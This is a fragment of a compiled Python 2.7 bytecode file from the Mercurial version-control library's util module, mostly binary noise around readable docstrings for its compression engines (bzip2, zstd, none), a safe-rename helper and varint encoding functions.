        tbzip2R(R!R((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�8scC@stddd�S(NR!i(R(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�Hscc@sd|p	i}tj|jdd��}x+|D]#}|j|�}|r.|Vq.q.W|j�VdS(NR�i	(Rt
BZ2CompressorRRR�(R0R�R�RR:R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�Ks
cC@s
t|�S(N(R(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�UsN(RCRDR�R�R�R@R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR 4s
			
t_truncatedbz2enginecB@s#eZd�Zd�Zd�ZRS(cC@sdS(Ntbz2truncated((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�[scC@sdS(Nt_truncatedBZ(NR%(R@(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�^scC@s
t|�S(N(R(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�cs(RCRDR�R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR#Zs		t_noopenginecB@sZeZd�Zd�Zd�Zdd�Zd�Zdefd��YZ	dd�Z
RS(	cC@sdS(Ntnone((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�iscC@sdS(smNo compression is performed.

        Use this compression engine to explicitly disable compression.
        R'tUN(R'R(((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�lscC@stddd�S(NR'ii
(R(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�vscC@s|S(N((R0R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�|scC@s|S(N((R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�stnooprevlogcompressorcB@seZd�ZRS(cC@sdS(N(R@(R0R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s(RCRDR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR)�scC@s
|j�S(N(R)(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��sN(RCRDR�R�R�R@R�R�R�R)R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR&hs		
		t_zstdenginecB@s{eZd�Zed��Zd�Zd�Zd�Zd�Zdd�Z
d�Zdefd	��YZ
dd
�ZRS(cC@sdS(NR((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scC@s8yddlm}|j|SWntk
r3dSXdS(Ni(R(RRR�R�R@(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt_module�s
cC@s
t|j�S(N(RiR+(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scC@sdS(s�A modern compression algorithm that is fast and highly flexible.

        Only supported by Mercurial 4.1 and newer clients.

        With the default settings, zstd compression is both faster and yields
        better compression than ``gzip``. It also frequently yields better
        compression than ``bzip2`` while operating at much higher speeds.

        If this engine is available and backwards compatibility is not a
        concern, it is likely the best available engine.
        RtZS(RR,((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scC@stddd�S(NRi2(R(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scC@sdS(Ns(((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scc@s||p	i}|jdd�}|j}|jd|�j�}x+|D]#}|j|�}|rF|VqFqFW|j�VdS(NR�i(RR+tZstdCompressorRRR�(R0R�R�R�RRR:R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s	
cC@st||j�S(N(R
R+(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��stzstdrevlogcompressorcB@s&eZdd�Zd�Zd�ZRS(icC@s@|jd|�|_|j�|_|j|_|j|_dS(NR�(R-t_cctxRt_dctxt"COMPRESSION_RECOMMENDED_INPUT_SIZEt_compinsizet$DECOMPRESSION_RECOMMENDED_INPUT_SIZEt
_decompinsize(R0RR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�sc	C@st|�}|dkrdS|dkrT|jj|�}t|�|krP|SdS|jj�}g}d}xO||kr�||j}|j|||!�}|r�|j|�n|}qrW|j|j��tt	t|��|kr�dj
|�SdSdS(Ni2i@BiR(RRR@R/RRR2R}R�RR�Rt(	R0R6RRRR,R-RR:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s*


c	C@s�t|�}y~|jj�}g}d}xO||kr{||j}|j|||!�}|rr|j|�n|}q-Wdj|�SWn5tk
r�}tj	t
d�tj|���nXdS(NiRsrevlog decompress error: %s(
RRR0RR4RR}Rtt	ExceptionRRR.RR(	R0R6RtdobjR,R-RR:R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s

(RCRDR4RR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR.�s
	cC@s.|p	i}|j|jd|jdd��S(NR�i(R.R+R(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�sN(RCRDR�R.R+R�R�R�R�R@R�R�R�R.R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR*�s						>cC@s�i}dtfd��Y}x�tD]�}t|}|j�sEq#n|j�}|s#|driq#nd|dtj|j�f}|�}tj|�|_|jj|_|j|_	|||d<q#W|S(s@Obtains a list of available bundle compressions for use in help.t	docobjectcB@seZRS((RCRD(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR7sis
``%s``
    %s(
R�tcompenginesR�R�R	tgetdocR!REt_origdoct	_origfunc(RUR7R�R�tbttdocR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytbundlecompressiontopics
s 

 	cC@s�|dkrt�}nd||f}||krD||krD|SxFtjd�D]5}d|||f}||krT||krT|SqTWdS(s�
    Generate a name that it is safe to rename f to in the given context.

    f:      filename to rename
    tag:    a string tag that will be included in the new name
    ctx:    a context, in which the new name must not exist
    others: a set of other filenames that the new name must not be in

    Returns a file name of the form oldname~tag[~number] which does not exist
    in the provided context and is not in the set of other names.
    s%s~%sis%s~%s~%sN(R@R�t	itertoolsR>(R�ttagtctxtothersR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsafename.scC@sM|j|�}t|�|krItjtd�t|�|f��n|S(s=read n bytes from stream.read and abort if less was availables5stream ended unexpectedly (got %d bytes, expected %d)(RQRRRR-R.(tstreamR�R2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadexactlyEs
cC@s�|dkr"tjd|��n|d@}|dL}g}x8|rv|jtjd|B��|d@}|dL}q?W|jtj|��dj|�S(siEncode an unsigned integer value to a varint.

    A varint is a variable length integer of 1 or more bytes. Each byte
    except the last has the most significant bit set. The lower 7 bits of
    each byte store the 2's complement representation, least significant group
    first.

    >>> uvarintencode(0)
    '\x00'
    >>> uvarintencode(1)
    '\x01'
    >>> uvarintencode(127)
    '\x7f'
    >>> uvarintencode(1337)
    '\xb9\n'
    >>> uvarintencode(65536)
    '\x80\x80\x04'
    >>> uvarintencode(-1)
    Traceback (most recent call last):
        ...
    ProgrammingError: negative value for uvarint: -1
    isnegative value for uvarint: %diii�R(RtProgrammingErrorR}R	tbytechrRt(R�RR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
uvarintencodeNs	


	
cC@s\d}d}xItrWtt|d��}||d@|>O}|d@sJ|S|d7}qWdS(s�Decode an unsigned variable length integer from a stream.

    The passed argument is anything that has a ``.read(N)`` method.

    >>> try:
    ...     from StringIO import StringIO as BytesIO
    ... except ImportError:
    ...     from io import BytesIO
    >>> uvarintdecodestream(BytesIO(b'\x00'))
    0
    >>> uvarintdecodestream(BytesIO(b'\x01'))
    1
    >>> uvarintdecodestream(BytesIO(b'\x7f'))
    127
    >>> uvarintdecodestream(BytesIO(b'\xb9\n'))
    1337
    >>> uvarintdecodestream(BytesIO(b'\x80\x80\x04'))
    65536
    >>> uvarintdecodestream(BytesIO(b'\x80'))
    Traceback (most recent call last):
        ...
    Abort: stream ended unexpectedly (got 0 bytes, expected 1)
    iiii�iN(R|R�RE(ROR%tshifttbyte((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytuvarintdecodestreamss	
(REt
__future__RRRRR+t
contextlibR�R?thashlibR?R�R{tplatformt
pyplatformtreR�RyRgR}RZttimeRXRRt
thirdpartyRthgdemandimportRRRRRRR8RR	R
tutilsRRt	importmodR
RRt	b85decodet	b85encodet	cookielibthttplibtpickleRtsocketservertbytesiotstringiot	xmlrpclibt
httpserverturlerrR�R�R�t	iswindowsRRR.tbindunixsockett	cachestatt	checkexect	checklinkR|texpandglobstgetfsmountpointRptgroupmemberst	groupnametisexectisownerR�RGt	lookupregR R�R�R�tnormcasespectnormcasefallbackt
openhardlinksRttparsepatchoutputRKtpollR�RxRRt
samedevicetsamefiletsamestattsetflagsR�R�Rt
statisexect
statislinktumaskRotusernametrecvfdsR�R�RRRitenvironRRtfilterwarningsR"tispy3R&R'R(R)R,R?R3R*RGR[t	NameErrorR@RqR\R�R^R_R�R�R�R�R|ReR�R�R�R$R�R�R�tOrderedDictR�RKR�R�R�tcontextmanagerR
RRRR-R.R5R<R=R>RER�RTt
mainfrozenRHRqt
sysexecutabletdatapathtfsencodet__file__tsetdatapathR^RsRzR�R�R�R�tcheckosfilenametclockR�R�R�R�R�R�R�R�R�R�R�R�R�R�RLRRmRRRR"R&R(R*R+R�R:RDRHt	bytecountRIR�RLRNRORPt	oslinesepttonativeeolt
fromnativeeoltnativeeolwritertidentitytpython_implementationtversion_infoRRRZR\R_RfRjRkR�R}R�R�R�R�R�R2R�R�R�R�R�R�R�R�R�tstdoutR�R�R�R�t
CLIENTROLEt
namedtupleRR�R8R�R�RRRR
RR�R R#R&R*R>R5t
i18nfunctionsR�RCRERHRK(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt<module>s�4																																																								

			






/ 

l	�)	i[u		R	�	
						$
		5(!	/								


+		*			)f?
				P%									
				�1									'6	$		�	u(M$!}				%